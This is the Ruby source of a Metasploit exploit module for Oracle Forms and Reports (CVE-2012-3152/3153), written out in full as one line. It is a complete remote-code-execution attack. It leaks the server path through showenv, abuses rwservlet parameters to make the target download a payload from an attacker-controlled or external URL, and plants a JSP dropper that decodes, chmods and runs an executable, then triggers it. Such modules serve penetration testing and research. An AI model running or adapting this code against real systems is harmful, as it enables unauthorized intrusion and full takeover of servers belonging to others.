## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'uri' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE Rank = GreatRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle Forms and Reports Remote Code Execution', 'Description' => %q{ This module uses two vulnerabilities in Oracle forms and reports to get remote code execution on the host. The showenv url can be used to disclose information about a server. A second vulnerability that allows arbitrary reading and writing to the host filesystem can then be used to write a shell from a remote url to a known local path disclosed from the previous vulnerability. The local path being accessable from an URL then allows us to perform the remote code execution using for example a .jsp shell. Tested on Windows and Oracle Forms and Reports 10.1. }, 'Author' => [ 'miss_sudo ', # Vulnerability discovery 'Mekanismen ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ "CVE", "2012-3152" ], [ "CVE", "2012-3153" ], [ "OSVDB", "86395" ], # Matches CVE-2012-3152 [ "OSVDB", "86394" ], # Matches CVE-2012-3153 [ "EDB", "31253" ], [ 'URL', "http://netinfiltration.com" ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => ['win', 'linux'], 'Targets' => [ [ 'Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 15 2014' )) register_options( [ OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]), OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]), OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]), ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"), 'method' => 'GET' }) if res and res.code == 200 if res.body =~ /\\(.*)\\showenv/ vprint_good "#{peer} - Windows install detected " path = $1.gsub("\\", "/") vprint_status "#{peer} - Path: #{path}" elsif res.body =~ /\/(.*)\/showenv/ vprint_good "#{peer} - Linux install detected" vprint_status "#{peer} - Path: #{$1}" else return Exploit::CheckCode::Safe end end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"), 'method' => 'GET', 'vars_get' => { 'report' => 'test.rdf', 'desformat' => 'html', 'destype' => 'cache', 'JOBTYPE' => 'rwurl', 'URLPARAMETER' => 'file:///' } }) if res and res.code == 200 and res.body.downcase.exclude?("") vprint_good "#{peer} - URLPARAMETER is vulnerable" return Exploit::CheckCode::Vulnerable else vprint_status "#{peer} - URLPARAMETER is not vulnerable" return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end def exploit @payload_url = "" @payload_name = rand_text_alpha(8+rand(8)) + ".jsp" @payload_dir = datastore['PAYDIR'] @local_path = "" print_status "#{peer} - Querying showenv!" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"), 'method' => 'GET', }) if res and res.code == 200 if res.body =~ /\\(.*)\\showenv/ print_good "#{peer} - Query succeeded!" print_status "#{peer} - Windows install detected " @local_path = $1.gsub("\\", "/") print_status "#{peer} - Path: #{@local_path }" elsif res.body =~ /\/(.*)\/showenv/ print_good "#{peer} - Query succeeded!" print_status "#{peer} - Linux install detected" @local_path = $1 print_status "#{peer} - Path: #{@local_path }" else print_status "#{peer} - Query failed" fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable") end else fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable") end if datastore['EXTURL'].blank? print_status "#{peer} - Hosting payload locally ..." begin Timeout.timeout(datastore['HTTPDELAY']) {super} rescue Timeout::Error end exec_payload else print_status "#{peer} - Using external url for payload delivery ..." @payload_url = datastore['EXTURL'] upload_payload exec_payload end end def primer @payload_url = get_uri @pl = gen_file_dropper upload_payload end def on_request_uri(cli, request) send_response(cli, @pl) end def upload_payload print_status "#{peer} - Uploading payload ..." path = "/#{@local_path}#{@payload_dir}#{@payload_name}" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"), 'method' => 'GET', 'encode_params' => false, 'vars_get' => { 'report' => 'test.rdf', 'desformat' => 'html', 'destype' => 'file', 'desname' => path, 'JOBTYPE' => 'rwurl', 'URLPARAMETER' => @payload_url } }) if res and res.code == 200 print_good "#{peer} - Payload hopefully uploaded!" else print_status "#{peer} - Payload upload failed" end end def gen_file_dropper big_payload = false #size matters :( gen_payload_name = rand_text_alpha(8+rand(8)) encoded_pl = Rex::Text.encode_base64(generate_payload_exe) print_status "#{peer} - Building JSP shell ..." len = encoded_pl.length if len >= 60000 #java string size limit ~60k workaround print_status "#{peer} - Adjusting shell due to payload size" pl_first = encoded_pl.slice(0, 60000) pl_second = encoded_pl.slice(60000, len) big_payload = true end #embed our payload shell = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>" shell += " <%" shell += " BASE64Decoder decoder = new BASE64Decoder();" #correct file suffix if windows if datastore['TARGET'] == 1 shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");" else shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");" end shell += " String path = temp.getAbsolutePath();" if big_payload shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");" shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");" shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));" shell += " ou.write(pl);" shell += " ou.close();" shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));" shell += " ou.write(pltwo);" shell += " ou.close();" else shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");" shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));" shell += " ou.write(pl);" shell += " ou.close();" end #correct rights if linux host if datastore['TARGET'] == 0 shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);" shell += " p.waitFor();" end shell += " Runtime.getRuntime().exec(path);" shell += "%>" return shell end def exec_payload print_status("#{peer} - Our payload is at: /reports#{@payload_dir}#{@payload_name}") print_status("#{peer} - Executing payload...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name), 'method' => 'GET' }) if res and res.code == 200 print_good("#{peer} - Payload executed!") else print_status("#{peer} - Payload execution failed") end end end